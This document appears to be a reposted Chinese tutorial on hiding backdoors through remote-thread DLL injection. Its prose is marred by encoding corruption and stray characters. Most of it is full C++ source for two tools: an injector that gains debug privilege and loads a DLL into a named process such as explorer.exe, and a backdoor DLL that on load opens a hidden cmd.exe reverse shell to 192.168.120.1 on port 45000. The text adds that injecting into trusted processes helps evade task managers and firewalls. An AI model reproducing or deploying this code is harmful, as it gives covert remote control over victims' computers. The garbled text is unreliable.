簡(jiǎn)介
???????大多數(shù)后門(mén)或病毒要想初步實(shí)現(xiàn)隱藏進(jìn)程,即不被像任務(wù)管理器這樣典型的RING3級(jí)進(jìn)程管理器找到過(guò)于明顯的不明進(jìn)程腊满,其中比較著名的方法就是通過(guò)遠(yuǎn)程線(xiàn)程注入的方法注入將惡意進(jìn)程的DLL文件注入系統(tǒng)認(rèn)可的正常進(jìn)程遏插,你會(huì)發(fā)現(xiàn)任務(wù)管理器以及找不到獨(dú)立出現(xiàn)的惡意進(jìn)程項(xiàng)了臼寄。反向連接型后門(mén)采用這種技術(shù)伪朽,注入防火墻認(rèn)可的進(jìn)程(例如大部分系統(tǒng)進(jìn)程,像explorer.exe就很常見(jiàn))還能夠獲得一定的穿墻效果铭乾。
??????? 進(jìn)程注入雖然已經(jīng)是將近10年前的技術(shù)了,但是今天出現(xiàn)的很多新型黑客技術(shù)大多數(shù)還是基于這類(lèi)老技術(shù)演變而來(lái)的娃循。
C++代碼樣例
1.進(jìn)程注入工具源碼:
//////////////////////////////////////
//
// FileName : injectDll.cpp
// Creator : PeterZ1997
// Date : 2018-5-15 23:58
// Comment : DLL inject module
//
//////////////////////////////////////
#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
#define MAX_COUNT 255
/**
* @brief 提高進(jìn)程權(quán)限
* @param name 權(quán)限名
*/
BOOL EnableDebugPriv(LPCSTR name)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
// 打開(kāi)進(jìn)程令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
{
printf("[!]Get Process Token Error!\n");
return false;
}
// 獲取權(quán)限Luid
if (!LookupPrivilegeValue(NULL, name, &luid))
{
printf("[!]Get Privilege Error!\n");
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 修改進(jìn)程權(quán)限
if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("[!]Adjust Privilege Error!\n");
return false;
}
return true;
}
/**
* @brief 進(jìn)程注入函數(shù)
* @param pid 進(jìn)程id
* @param dllFileName DLL文件的完整路徑
*/
BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName)
{
HANDLE hRemoteProcess;
CHAR *pszDllSpace;
if (!EnableDebugPriv(SE_DEBUG_NAME))
{
return false;
}
if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL)
{
printf("[!]Open Target Process Error!\n");
return false;
}
if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL)
{
printf("[!]Alloc Space Error!\n");
return false;
}
if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0)
{
printf("[!]Write to the Memory Error!\n");
return false;
}
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
if (pfnStartAddr == NULL)
{
printf("[!]Get <LoadLibrary> Function Error!\n");
return false;
}
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!]Create Remote Thread Error!\n");
return false;
}
return true;
}
/**
* @brief 獲取進(jìn)程id
* @param procName 進(jìn)程名
*/
DWORD GetProcPid(LPCSTR procName)
{
DWORD pid = 0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcSnap == INVALID_HANDLE_VALUE)
{
printf("[!]Can not Create Process Snap !\n");
return -1;
}
BOOL bProc = Process32First(hProcSnap, &pe32);
while (bProc)
{
if (!stricmp(procName, pe32.szExeFile))
{
return pe32.th32ProcessID;
}
bProc = Process32Next(hProcSnap, &pe32);
}
CloseHandle(hProcSnap);
return pid;
}
/**
* @brief 主函數(shù)
*/
int main(int argc, char* argv[])
{
CHAR dllPath[MAX_COUNT] = "\0";
WIN32_FIND_DATA wfd;
if (argc != 3)
{
printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n");
return 0;
}
GetCurrentDirectory(sizeof(dllPath), dllPath);
StringCchCat(dllPath, sizeof(dllPath), "\\");
StringCchCat(dllPath, sizeof(dllPath), argv[2]);
if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE)
{
printf("[!] Can not Find Dll File !\n");
return 0;
}
DWORD pid = GetProcPid(argv[1]);
if (pid != -1)
{
if (!InjectDllProc(pid, dllPath))
{
printf("[!]Inject Dll Error!\n");
return 0;
}
printf("[*]Inject Dll Success!\n");
}
else
{
printf("[*]Inject Dll Error!\n");
return 0;
}
return 0;
}
2.Dll文件樣例源碼:
/////////////////////////////////////////////
//
// FileName : BackDoorDLL.cpp
// Creator : PeterZ1997
// Date : 2018-5-11 00:10
// Comment : 零管道后門(mén)DLL
//
////////////////////////////////////////////
#pragma once
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
using namespace std;
#define MAX_COUNT 255
/**
* @brief 啟動(dòng)Cmd進(jìn)程炕檩,與socket實(shí)例通信
* @param lpParameter 多線(xiàn)程函數(shù)參數(shù),此為傳入socket實(shí)例
*/
DWORD WINAPI StartShellProc(LPVOID lpParameter)
{
CHAR cmdLine[MAX_COUNT] = "\0";
SOCKET sServer = (SOCKET)lpParameter;
STARTUPINFO si;
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer;
GetSystemDirectory(cmdLine, sizeof(cmdLine));
StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe");
PROCESS_INFORMATION pi;
CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
return 0;
}
/**
* @brief socket建立函數(shù)
* @param lpParameter 多線(xiàn)程函數(shù)參數(shù)捌斧,這里傳入NULL
*/
DWORD WINAPI BackDoorThread(LPVOID lpParameter)
{
CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n";
WSADATA wsd;
SOCKET sServer;
sockaddr_in sin;
if (WSAStartup(0x0202, &wsd)) return 0;
if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET)
{
return 0;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(45000);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1");
if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
return 0;
}
if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR)
{
return 0;
}
HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
/**
* @brief DLL文件主函數(shù)
*/
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return true;
}